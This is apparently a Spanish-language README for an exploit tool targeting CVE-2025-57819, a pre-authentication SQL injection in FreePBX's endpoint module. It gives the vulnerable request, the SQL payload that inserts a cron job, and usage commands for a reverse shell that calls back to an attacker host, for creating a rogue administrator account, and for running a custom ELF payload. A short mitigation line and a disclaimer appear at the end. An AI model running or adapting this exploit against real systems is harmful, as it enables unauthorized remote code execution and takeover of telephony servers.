
FreePBX Pre-Auth SQLi a RCE (CVE-2025-57819) — Exploit Todo-en-Uno
Un exploit todo-en-uno para CVE-2025-57819, una inyección SQL no autenticada en el módulo endpoint de FreePBX que conduce a la ejecución remota de código mediante la inyección de trabajos cron.
FreePBX expone el endpoint admin/ajax.php?module=FreePBX\modules\endpoint\ajax sin requerir autenticación (CWE-288). El parámetro brand se pasa directamente a las consultas SQL sin saneamiento (CWE-89), lo que permite a un atacante inyectar sentencias SQL arbitrarias en la base de datos asterisk.
[Solicitud HTTP no autenticada]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
Inyección SQL en la tabla `cron_jobs`
(INSERT con comando controlado por el atacante, schedule="* * * * *")
│
▼
En ~60 segundos, el demonio cron ejecuta el comando como el usuario `asterisk`
│
▼
Ejecución Remota de Código
Este exploit admite tres modos:
linux/x64/shell_reverse_tcp mediante msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Ejemplo:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
Este ejemplo usa el puerto 4452 para la reverse shell y el 4453 para el servidor HTTP de la etapa.
--create-user)Crea una nueva cuenta de administrador de FreePBX vía SQLi. Sin reverse shell, sin conexión de retorno, sin necesidad de binarios.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)Usa tu propio binario ELF en lugar de generar uno con msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests (pip install requests)msfvenom) o un payload personalizado con --payload--create-user: Nada más que Python + requestsEl endpoint vulnerable es:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
El parámetro brand se concatena en un INSERT SQL sin saneamiento. El exploit construye la inyección como:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
El -- final comenta el resto de la consulta original.
FreePBX usa el subsistema cron de Asterisk. Los trabajos cron se revisan cada minuto. Cuando la programación del trabajo insertado (* * * * *) coincide, el comando se ejecuta como el usuario del sistema asterisk.
Después de que la sesión termina (o por timeout), el exploit envía un DELETE vía SQLi para eliminar el trabajo cron inyectado de cron_jobs.
asterisk.cron_jobs con nombres aleatorios de módulo/trabajoasteriskampusers (si se usa el modo --create-user)Actualiza el módulo endpoint a las versiones corregidas:
Este software se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los cuales no tienes permiso explícito para realizar pruebas es ilegal. El autor no es responsable de ningún uso indebido.